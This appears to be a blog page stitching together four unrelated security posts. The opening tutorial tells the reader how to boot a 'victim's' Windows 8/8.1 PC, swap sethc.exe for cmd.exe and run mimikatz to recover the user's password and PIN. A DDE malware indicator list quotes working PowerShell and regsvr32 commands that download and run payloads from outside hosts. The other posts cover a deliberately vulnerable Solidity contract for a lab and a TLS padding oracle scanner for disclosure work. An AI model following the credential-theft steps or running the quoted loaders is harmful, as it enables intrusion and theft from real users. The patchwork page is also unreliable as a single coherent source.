बदलता भारत{INDIA CHANGES}

INDIA CHANGES

You Might have read my previous posts about how to remove windows passwords using chntpw and might be thinking why am I writing another tutorial to do the same thing! Well today we are not going to remove the windows user password rather we are going to be more stealth in that we are not going to remove it rather we are going to know what is the users password and access his/her account with his/her own password. Sounds nice...

Requirements:

A live bootable linux OS (I'm using Kali Linux)(Download Kali Linux)
Mimikatz (Download | Blog)
Physical Access to victim's machine
A Working Brain in that Big Head (Download Here)

Steps:

1. First of all download mimikatz and put it in a pendrive.

2. Boat the victim's PC with your live bootable Pendrive (Kali Linux on pendrive in my case). And open a terminal window

3. Mount the Volume/Drive on which windows 8/8.1 is installed by typing these commands
in the terminal window:

mkdir /media/win
ntfs-3g /dev/sda1 /media/win

[NOTE] ntfs-3g is used to mount an NTFS drive in Read/Write mode otherwise you might not be able to write on the drive. Also /dev/sda1 is the name of the drive on which Windows OS is installed, to list your drives you can use lsblk -l or fdisk -l. The third flag is the location where the drive will be mounted.

4. Now navigate to the System32 folder using the following command

cd /media/win/Windows/System32

5. After navigating to the System32 rename the sethc.exe file to sethc.exe.bak by typing the following command:

mv sethc.exe sethc.exe.bak

sethc.exe is a windows program which runs automatically after shift-key is pressed more than 5 times continuously.

6. Now copy the cmd.exe program to sethc.exe replacing the original sethc.exe program using this command:

cp cmd.exe sethc.exe

[Note] We made a backup of sethc.exe program so that we can restore the original sethc.exe functionality

7. With this, we are done with the hard part of the hack now lets reboot the system and boot our Victim's Windows 8/8.1 OS.

8. After reaching the Windows Login Screen plugin the usb device with mimikatz on it and hit shift-key continuously five or more times. It will bring up a command prompt like this

9. Now navigate to your usb drive in my case its drive G:

10. Now navigate to the proper version of mimikatz binary folder (Win32 for32bit windows and x64 for 64 bit windows)

11. Run mimikatz and type the following commands one after the other in sequence:

privilege::debug
token::elevate
vault::list

the first command enables debug mode
the second one elevates the privilages
the last one lists the passwords which include picture password and pin (if set by the user)

That's it you got the password and everything else needed to log into the system. No more breaking and mess making its simple its easy and best of all its not Noisy lol...

Hope you enjoyed the tutorial have fun :)

Continue reading

INDIA CHANGES

In part 1 and 2 we covered re-entrancy and authorization attack scenarios within the Ethereum smart contract environment. In this blog we will cover integer attacks against blockchain decentralized applications (DAPs) coded in Solidity.

Integer Attack Explanation:

An integer overflow and underflow happens when a check on a value is used with an unsigned integer, which either adds or subtracts beyond the limits the variable can hold. If you remember back to your computer science class each variable type can hold up to a certain value length. You will also remember some variable types only hold positive numbers while others hold positive and negative numbers.

If you go outside of the constraints of the number type you are using it may handle things in different ways such as an error condition or perhaps cutting the number off at the maximum or minimum value.

In the Solidity language for Ethereum when we reach values past what our variable can hold it in turn wraps back around to a number it understands. So for example if we have a variable that can only hold a 2 digit number when we hit 99 and go past it, we will end up with 00. Inversely if we had 00 and we subtracted 1 we would end up with 99.

Normally in your math class the following would be true:

99 + 1 = 100
00 - 1 = -1

In solidity with unsigned numbers the following is true:

99 + 1 = 00
00 - 1 = 99

So the issue lies with the assumption that a number will fail or provide a correct value in mathematical calculations when indeed it does not. So comparing a variable with a require statement is not sufficiently accurate after performing a mathematical operation that does not check for safe values.

That comparison may very well be comparing the output of an over/under flowed value and be completely meaningless. The Require statement may return true, but not based on the actual intended mathematical value. This in turn will lead to an action performed which is beneficial to the attacker for example checking a low value required for a funds validation but then receiving a very high value sent to the attacker after the initial check. Lets go through a few examples.

Simple Example:

Lets say we have the following Require check as an example:
require(balance - withdraw_amount > 0) ;

Now the above statement seems reasonable, if the users balance minus the withdrawal amount is less than 0 then obviously they don't have the money for this transaction correct?

This transaction should fail and produce an error because not enough funds are held within the account for the transaction. But what if we have 5 dollars and we withdraw 6 dollars using the scenario above where we can hold 2 digits with an unsigned integer?

Let's do some math.
5 - 6 = 99

Last I checked 99 is greater than 0 which poses an interesting problem. Our check says we are good to go, but our account balance isn't large enough to cover the transaction. The check will pass because the underflow creates the wrong value which is greater than 0 and more funds then the user has will be transferred out of the account.

Because the following math returns true:
require(99 > 0)

Withdraw Function Vulnerable to an UnderFlow:

The below example snippet of code illustrates a withdraw function with an underflow vulnerability:

function withdraw(uint _amount){

    require(balances[msg.sender] - _amount > 0);
    msg.sender.transfer(_amount);
    balances[msg.sender] -= _amount;

}

In this example the require line checks that the balance is greater then 0 after subtracting the _amount but if the _amount is greater than the balance it will underflow to a value above 0 even though it should fail with a negative number as its true value.

require(balances[msg.sender] - _amount > 0);

It will then send the value of the _amount variable to the recipient without any further checks:

msg.sender.transfer(_amount);

Followed by possibly increasing the value of the senders account with an underflow condition even though it should have been reduced:

balances[msg.sender] -= _amount;

Depending how the Require check and transfer functions are coded the attacker may not lose any funds at all but be able to transfer out large sums of money to other accounts under his control simply by underflowing the require statements which checks the account balance before transferring funds each time.

Transfer Function Vulnerable to a Batch Overflow:

Overflow conditions often happen in situations where you are sending a batched amount of values to recipients. If you are doing an airdrop and have 200 users who are each receiving a large sum of tokens but you check the total sum of all users tokens against the total funds it may trigger an overflow. The logic would compare a smaller value to the total tokens and think you have enough to cover the transaction for example if your integer can only hold 5 digits in length or 00,000 what would happen in the below scenario?

You have 10,000 tokens in your account
You are sending 200 users 499 tokens each
Your total sent is 200*499 or 99,800

The above scenario would fail as it should since we have 10,000 tokens and want to send a total of 99,800. But what if we send 500 tokens each? Lets do some more math and see how that changes the outcome.

You have 10,000 tokens in your account
You are sending 200 users 500 tokens each
Your total sent is 200*500 or 100,000
New total is actually 0

This new scenario produces a total that is actually 0 even though each users amount is 500 tokens which may cause issues if a require statement is not handled with safe functions which stop an overflow of a require statement.

Lets take our new numbers and plug them into the below code and see what happens:

1. uint total = _users.length * _tokens;
2. require(balances[msg.sender] >= total);
3. balances[msg.sender] = balances[msg.sender] -total;

4. for(uint i=0; i < users.length; i++){
5. balances[_users[i]] = balances[_users[i]] + _value;

Same statements substituting the variables for our scenarios values:

1. uint total = _200 * 500;
2. require(10,000 >= 0);
3. balances[msg.sender] = 10,000 - 0;

4. for(uint i=0; i < 500; i++){
5. balances[_recievers[i]] = balances[_recievers[i]] + 500;

Batch Overflow Code Explanation:

1: The total variable is 100,000 which becomes 0 due to the 5 digit limit overflow when a 6th digit is hit at 99,999 + 1 = 0. So total now becomes 0.

2: This line checks if the users balance is high enough to cover the total value to be sent which in this case is 0 so 10,000 is more then enough to cover a 0 total and this check passes due to the overflow.

3: This line deducts the total from the senders balance which does nothing since the total of 10,000 - 0 is 10,000. The sender has lost no funds.

4-5: This loop iterates over the 200 users who each get 500 tokens and updates the balances of each user individually using the real value of 500 as this does not trigger an overflow condition. Thus sending out 100,000 tokens without reducing the senders balance or triggering an error due to lack of funds. Essentially creating tokens out of thin air.

In this scenario the user retained all of their tokens but was able to distribute 100k tokens across 200 users regardless if they had the proper funds to do so.

Lab Follow Along Time:

We went through what might have been an overwhelming amount of concepts in this chapter regarding over/underflow scenarios now lets do an example lab in the video below to illustrate this point and get a little hands on experience reviewing, writing and exploiting smart contracts. Also note in the blockchain youtube playlist we cover the same concepts from above if you need to hear them rather then read them.

For this lab we will use the Remix browser environment with the current solidity version as of this writing 0.5.12. You can easily adjust the compiler version on Remix to this version as versions update and change frequently.
https://remix.ethereum.org/

Below is a video going through coding your own vulnerable smart contract, the video following that goes through exploiting the code you create and the videos prior to that cover the concepts we covered above:

Download Video Lab Example Code:

Download Sample Code:

CC Labs GitHub

//Underflow Example Code:

//Can you bypass the restriction?

//--------------------------------------------

pragma solidity ^0.5.12;

contract Underflow{
   mapping (address =>uint) balances;

   function contribute() public payable{
        balances[msg.sender] = msg.value;
   }

   function getBalance() view public returns (uint){
return balances[msg.sender];
   }

   function transfer(address _reciever, uint _value) public payable{
   require(balances[msg.sender] - _value >= 5);
   balances[msg.sender] = balances[msg.sender] - _value;

       balances[_reciever] = balances[_reciever] + _value;
   }

}

This next video walks through exploiting the code above, preferably hand coded by you into the remix environment. As the best way to learn is to code it yourself and understand each piece:

Conclusion:

We covered a lot of information at this point and the video series playlist associated with this blog series has additional information and walk throughs. Also other videos as always will be added to this playlist including fixing integer overflows in the code and attacking an actual live Decentralized Blockchain Application. So check out those videos as they are dropped and the current ones, sit back and watch and re-enforce the concepts you learned in this blog and in the previous lab. This is an example from a full set of labs as part of a more comprehensive exploitation course we have been working on.

List of available files:
Word documents:
bf38288956449bb120bae525b6632f0294d25593da8938bbe79849d6defed5cb
a1294fce91af3f7e7691f8307d07aebd4636402e4e6a244faac5ac9b36f8428
b68b3f98f78b42ac83e356ad61a4d234fe620217b250b5521587be49958d568
9d67659a41ef45219ac64967b7284dbfc435ee2df1fccf0ba9c7464f03fdc862
7777ccbaaafe4e50f800e659b7ca9bfa58ee7eefe6e4f5e47bc3b38f84e52280
313fc5bd8e1109d35200081e62b7aa33197a6700fc390385929e71aabbc4e065
9fa8f8ccc29c59070c7aac94985f518b67880587ff3bbfabf195a3117853984d
8630169ab9b4587382d4b9a6d17fd1033d69416996093b6c1a2ecca6b0c04184
11a6422ab6da62d7aad4f39bed0580db9409f9606e4fa80890a76c7eabfb1c13
bd61559c7dcae0edef672ea922ea5cf15496d18cc8c1cbebee9533295c2d2ea9

Payload
8c5209671c9d4f0928f1ae253c40ce7515d220186bb4a97cbaf6c25bd3be53cf
2330bf6bf6b5efa346792553d3666c7bc290c98799871f5ff4e7d44d2ab3b28c
316f0552684bd09310fc8a004991c9b7ac200fb2a9a0d34e59b8bbd30b6dc8ea
5d3b34c963002bd46848f5fe4e8b5801da045e821143a9f257cb747c29e4046f
fe72a6b6da83c779787b2102d0e2cfd45323ceab274924ff617eb623437c2669

File details with MD5 hashes:

Word documents:
1. bf38288956449bb120bae525b6632f0294d25593da8938bbe79849d6defed5cb EDGAR_Rules.docx
bcadcf65bcf8940fff6fc776dd56563 ( DDEAUTO c:\\windows\\system32\\cmd.exe "/k powershell -C ;echo \"https://sec.gov/\";IEX((new-object net.webclient).downloadstring('https://pastebin.com/raw/pxSE2TJ1')) ")

2. 1a1294fce91af3f7e7691f8307d07aebd4636402e4e6a244faac5ac9b36f8428 EDGAR_Rules_2017.docx
2c0cfdc5b5653cb3e8b0f8eeef55fc32 ( DDEAUTO c:\\windows\\system32\\cmd.exe "/k powershell -C ;echo \"https://sec.gov/\";IEX((new-object net.webclient).downloadstring('https://trt.doe.louisiana.gov/fonts.txt')) ")

3 4b68b3f98f78b42ac83e356ad61a4d234fe620217b250b5521587be49958d568 SBNG20171010.docx
8be9633d5023699746936a2b073d2d67 (DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://104.131.178.222/s.ps1');powershell -Command $e.

4. 9d67659a41ef45219ac64967b7284dbfc435ee2df1fccf0ba9c7464f03fdc862 Plantilla - InformesFINAL.docx
78f07a1860ae99c093cc80d31b8bef14 ( DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe $e=new-object -com internetexplorer.application; $e.visible=$true; $e.navigate2(' https://i.ytimg.com/vi/ErLLFVf-0Mw/maxresdefault.jpg '); powershell -e $e "

5. 7777ccbaaafe4e50f800e659b7ca9bfa58ee7eefe6e4f5e47bc3b38f84e52280
aee33500f28791f91c278abb3fcdd942 (DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://www.filefactory.com/file/2vxfgfitjqrf/Citibk_MT103_Ref71943.exe');powershell -e_

6. 313fc5bd8e1109d35200081e62b7aa33197a6700fc390385929e71aabbc4e065 Giveaway.docx
507784c0796ffebaef7c6fc53f321cd6 (DDEAUTO "C:\\Programs\\Microsoft\\Office\\MSWord.exe\\..\\..\\..\\..\\windows\\system32\\cmd.exe" "/c regsvr32 /u /n /s /i:\"h\"t\"t\"p://downloads.sixflags-frightfest.com/ticket-ids scrobj.dll" "For Security Reasons")

7. 9fa8f8ccc29c59070c7aac94985f518b67880587ff3bbfabf195a3117853984d Filings_and_Forms.docx
47111e9854db533c328ddbe6e962602a (DDEAUTO "C:\\Programs\\Microsoft\\Office\\MSWord.exe\\..\\..\\..\\..\\windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe -NoP -sta -NonI -W Hidden -C $e=(new-object system.net.webclient).downloadstring('http://goo.gl/Gqdihn');powershell.exe -e $e # " "Filings_and_Forms.docx")

8. 8630169ab9b4587382d4b9a6d17fd1033d69416996093b6c1a2ecca6b0c04184 ~WRD0000.tmp
47111e9854db533c328ddbe6e962602a

9. 11a6422ab6da62d7aad4f39bed0580db9409f9606e4fa80890a76c7eabfb1c13 ~WRD0003.tmp
d78ae3b9650328524c3150bef2224460

10. bd61559c7dcae0edef672ea922ea5cf15496d18cc8c1cbebee9533295c2d2ea9 DanePrzesylki17016.doc
5786dbcbe1959b2978e979bf1c5cb450

Payload Powershell

1. 8c5209671c9d4f0928f1ae253c40ce7515d220186bb4a97cbaf6c25bd3be53cf fonts.txt

2 2330bf6bf6b5efa346792553d3666c7bc290c98799871f5ff4e7d44d2ab3b28c - powershell script from hxxp://citycarpark.my/components/com_admintools/mscorier

Payload PE

1. 316f0552684bd09310fc8a004991c9b7ac200fb2a9a0d34e59b8bbd30b6dc8ea Citibk_MT103_Ref71943.exe
3a4d0c6957d8727c0612c37f27480f1e

2. 5d3b34c963002bd46848f5fe4e8b5801da045e821143a9f257cb747c29e4046f FreddieMacPayload
4f3a6e16950b92bf9bd4efe8bbff9a1e

3. fe72a6b6da83c779787b2102d0e2cfd45323ceab274924ff617eb623437c2669 s50.exe Poland payload
09d71f068d2bbca9fac090bde74e762b

INDIA CHANGES

As you might have heard, we recently got our paper on padding oracle attacks accepted to the USENIX Security Conference. In this paper, we describe and evaluate a scanning methodology with which we found several padding oracle vulnerabilities in devices from various vendors. In total, we found that 1.83% of the Alexa Top 1 Million have padding oracle vulnerabilities.

To test whether a server is vulnerable, we specified different padding oracle vectors which we send to the system under test, using different cipher suites and protocol versions. If the server does not behave identically (on both the TLS and TCP layers), we consider it to be vulnerable to a padding oracle attack, since it is leaking information about the plaintext via behavior differences. Depending on the responses to such padding oracle vectors, one can estimate which implementation is responsible for the vulnerability. We contacted quite a few website owners and tried to cooperate with them, to find out which vendors and TLS stacks are responsible for the identified vulnerabilities. You can find our current disclosure status on this issue on https://github.com/RUB-NDS/TLS-Padding-Oracles.
We are currently in contact with other vendors to fix the remaining vulnerabilities, but the some of the rare (in terms of the number of affected hosts) vulnerabilities are currently not attributed. To fix the remaining vulnerabilities, we ask for your assistance to help get rid of this issue. For this purpose, we integrated a standalone version of our padding oracle evaluation tool into our TLS-Scanner (v.2.7) project. This tool allows you (among other things) to evaluate if a specific server is vulnerable.

When the tool detects a vulnerability, it tries to attribute the vulnerability to a specific vendor or CVE. If we already know of the vulnerability of the server you scanned, the tool will print its details. If the tool does not have a description of the vulnerability in its database, it will ask you to notify us about the vulnerable server, such that we can notify the vendor and get the device fixed. To be clear: the tool never sends any data to us - you have the choice of whether to notify us (and what details to include). There is a chance that the tool's attribution is also mistaken, that is, the tool lists a vendor for your host, but you know for sure that you do not use an implementation by this vendor. Please contact us in such cases as well.

How to use the Tool

First, you need to grab hold of the tool. There are 3 ways to get your hands dirty: pre-compiled, self-compiled or Docker. We provide a pre-compiled version of the tool since the compilation process can get quite messy if you are not familiar with java and maven. You can directly download the resulting project here. However, if you also want to play around with the code, you have to compile everything yourself.

Building the TLS-Scanner

For this, you will need (Git), maven (sudo apt-get install maven), OpenJDK-8 (I can guarantee that this version works, other versions might work as well, have not tested it).

You will need to get TLS-Attacker 2.9 (if you do not already have it):
Now we can clone and install the TLS-Scanner

Docker

We also provide a Dockerfile, which lets you run the scanner directly

Getting Started

If you start the TLS-Scanner you should be greeted by a usage info, similar to the one below:

or

This should give you an overview of the supported command line flags. The only really required one is the -connect flag (similar to OpenSSL and TLS-Attacker), with which you specify which host to scan. The most basic command is therefore:

Your output may look something like this:

By default, TLS-Scanner will run single-threaded. In such cases the scanning will take a while; just how long it will take depends on your server configuration. The scanner also supports multi-threading, which drastically improves the performance. There are two parameters to play around with, -threads, which controls how many different "probes" are executed in parallel, and -aggressive , which controls how many handshakes can be executed simultaneously. If you want the fastest results the following parameters are usually a good choice:

But lets get back to the results of the Scanner. Currently the Scanner supports a bunch of well known tests, like supported ciphersuites or protocol versions. These are very similar to what you may be used to from other scanners like ssllabs or testssl.sh.

Padding Oracles

The main advantage of our scanner is the ability to scan for padding oracle vulnerabilities (which is probably why you are reading this post). You will see if you are vulnerable in the "Attack Vulnerabilities" section. For example, when scanning hackmanit.de, the result is false. Good for us! But as you might have seen there is also another section in the scanner report:"PaddingOracle Responsemap"
This section lists the responses of the scanned host for each padding oracle vector, for each cipher suite and protocol version. For hackmanit.de, there is no detected difference in responses, which means hackmanit.de is not vulnerable to the attack:
If we want, we can also look at the concrete responses of the server. For this purpose, we start the scanner with the -reportDetail flag:

With this flag we now get the following details:

So what does this all mean? First of all, we named our malformed records. The interpretation of those names is visualized in the following table:

BasicMac-<position>-<XOR>	A Record with ApplicationData, MAC and padding bytes, where the padding byte at <position> is XOR'd <XOR>
MissingMacByteFirst	A Record without ApplicationData, where the first byte of the MAC is missing
MissingMacByteLast	A Record without ApplicationData, where the last byte of the MAC is missing
Plain FF	A Record without ApplicationData & MAC which only contains Paddingbytes: 64* 0xFF
Plain 3F	A Record without ApplicationData & MAC which only contains Paddingbytes: 64* 0xF3
InvPadValMac-[<position>]-<appDataLength>-<paddingBytes>	A Record with invalid padding and valid MAC. The Record contains <appDataLength> many ApplicationData bytes and <paddingBytes> many PaddingBytes. The Padding is invalid at <position>.
ValPadInvMac-[<position>]-<appDataLength>-<paddingBytes>	A Record with valid padding and invalid MAC. The Record contains <appDataLength> many ApplicationData bytes and <paddingBytes> many PaddingBytes. The MAC is invalid at <position>.
InvPadInvMac-[<position>]-<appDataLength>-<paddingBytes>	A Record with invalid padding and invalid MAC. The Record contains <appDataLength> many ApplicationData bytes and <paddingBytes> many PaddingBytes. The MAC is invalid at the first position. The Padding is invalid at <position>.

Next to the name you can see what the actual response from the server was. Alert messages which are in [] brackets indicate that the alert was a fatal alert while () brackets indicate a warning alert. ENC means that the messages were encrypted (which is not always the case). The last symbol in each line indicates the state of the socket. An X represents a closed socket with a TCP FIN, a T indicates that the socket was still open at the time of measurement and an @ indicates that the socket was closed with an RST. So how did Hackmanit respond? We see a [BAD_RECORD_MAC] ENC X, which means we received an ENCrypted FATAL BAD_RECORD_MAC alert, and the TCP connection was closed with a TCP FIN. If a server appears to be vulnerable, the scanner will execute the scan a total of three times to confirm the vulnerability. Since this response is identical to all our vectors, we know that the server was not vulnerable and the scanner is not re-executing the workflows.

Here is an example of a vulnerable host:
As you can see, this time the workflows got executed multiple times, and the scanner reports the cipher suite and version as vulnerable because of "SOCKET_STATE". This means that in some cases the socket state revealed information about the plaintext. If you look closely, you can see that for ValPadInvMac-[0]-0-59, ValPadInvMac-[8]-0-59 and ValPadInvMac-[15]-0-59 the server failed to close the TCP socket, while for all other vectors the TCP connect was closed with a TCP FIN. The server was therefore vulnerable.

Since the server was vulnerable, TLS-Scanner will also print an additional section: "PaddingOracle Details"

In this section we try to identify the vulnerability. In the example above, TLS-Scanner will print the following:

As you can see, we attribute this vulnerability to OpenSSL <1.0.2r. We do so by looking at the exact responses to our malformed records. We additionally print two important facts about the vulnerability: Whether it is observable and its strength. The precise details of these properties are beyond the scope of this blogpost, but the short version is:
If an oracle is observable, a man in the middle attacker can see the differences between the vectors by passively observing the traffic, without relying on browser or application specific tricks. A strong oracle has no limitations in the number of consecutive bytes an attacker can decrypt. If an oracle is STRONG and OBSERVABLE, then an attacker can realistically exploit it. This is the case in the example above.
For more details on this, you will have to wait for the paper.

Attribution

As you can see, we try to fingerprint the responsible device/implementation. However, we were not able to identify all vulnerable implementations yet. If we cannot attribute a vulnerability you will receive the following message:

Could not identify the vulnerability. Please contact us if you know which software/hardware is generating this behavior.

If you encounter this message, we do not know yet who is responsible for this padding oracle and would be happy to know which device/vendor is responsible. If you know who is, please contact us so that we can get in contact with the vendor to fix the issue. To reiterate, the tool never sends any data back to us, and it is your choice whether to contact us manually or not.

There are also some cases in which we can identify the vendor, but the vendor has not patched the vulnerability yet. If you encounter such a host, the scanner will tell you that we know the responsible vendor. To prevent abuse, we do not include further details.

Non-Determinism and Errors

In some cases, the scanner is unable to scan for padding oracles and reports ERROR or non-deterministic responses. The ERROR cases appear if the scanner failed could not handshake with the specified cipher suite and protocol version. This might be due to a bug in the tested TLS-Server or a bug in TLS-Attacker or TLS-Scanner. If you think the handshake fails because of an issue on our side, please open an issue on Github, and we will investigate. The more interesting cases are the non-deterministic ones. In such cases the scanner observed non-identical scan results in three separate scans. This can be due to non-determinism in the software, connection errors, server load or non-homogeneous load balancing. Currently, you will have to analyze these cases manually. In the paper, we excluded such hosts from our study because we did not want to artificially improve our results. But we understand that you as a tester want to know if the server is vulnerable or not. If the server is not truly vulnerable you would see the differences between the answers spread across all the different vectors. If the differences only appear on a subset of malformed records the server is very likely vulnerable. If you are unsure, you can also always scan multiple times (or scan slowly), increase the timeout, or if you are entirely lost get in touch with us.

How YOU can help

Please use the scanner on all your hosts and check for padding oracle vulnerabilities. If the scanner can identify your vulnerability, a patch should already be available. Please patch your system! If the scanner does not identify the vulnerability (and instructs you to contact us), please contact us with the details (robert.merget@rub.de). If you can provide us with the detailed output of the scanner or even better, the name of the host, with the corresponding vendor, we could match the results with our database and help fix the issue. We can already attribute over 90% of the vulnerabilities, but there is still a lot to be discovered. We mostly scanned the Alexa top 1-million on port 443. Other protocols like IMAPS, POP3S, etc. might have different implementations with different vulnerabilities. If you find vulnerabilities with our tool, please give us credit. It helps us to get more funding for our project.

Issues with the Scanner

A notable feature of our scanner is that we do not actively try to avoid intolerances (like not scanning with a lot of cipher suites in the Hello messages etc.). We believe that doing so would hide important bugs. We are currently experimenting with intolerances checks, but the feature is now still in beta. If we cannot scan a server (most of the time due to intolerances or SNI problems), the scanner will report a lot of intolerances and usually no supported protocol versions. Some intolerances may trick the scanner into reporting false results. At the current stage, we cannot make any guarantees. If you are using this tool during a pentest, it might be smart to rescan with other scanners (like the recently released padcheck tool from our colleague Craig Young) to find the ground truth (this is good advice in general, since other mainstream scanners likely have the same issues). Note however that it is very unlikely that the scanner reports a false positive on a padding oracle scan.

Conclusion

There are still a lot of padding oracle vulnerabilities out there - and a lot of them are still unpatched. We hope you will find some bugs with the tool :) Happy H4cking :D

Acknowlegements

This is joint work from Robert Merget (@ic0nz1), Juraj Somorovsky (@jurajsomorovsky), Nimrod Aviram (@NimrodAviram), Janis Fliegenschmidt (@JanisFliegens), Craig Young (@craigtweets), Jörg Schwenk (@JoergSchwenk) and (Yuval Shavitt).

बदलता भारत{INDIA CHANGES}

Total Pageviews

Sunday, 28 January 2024

Cracking Windows 8/8.1 Passwords With Mimikatz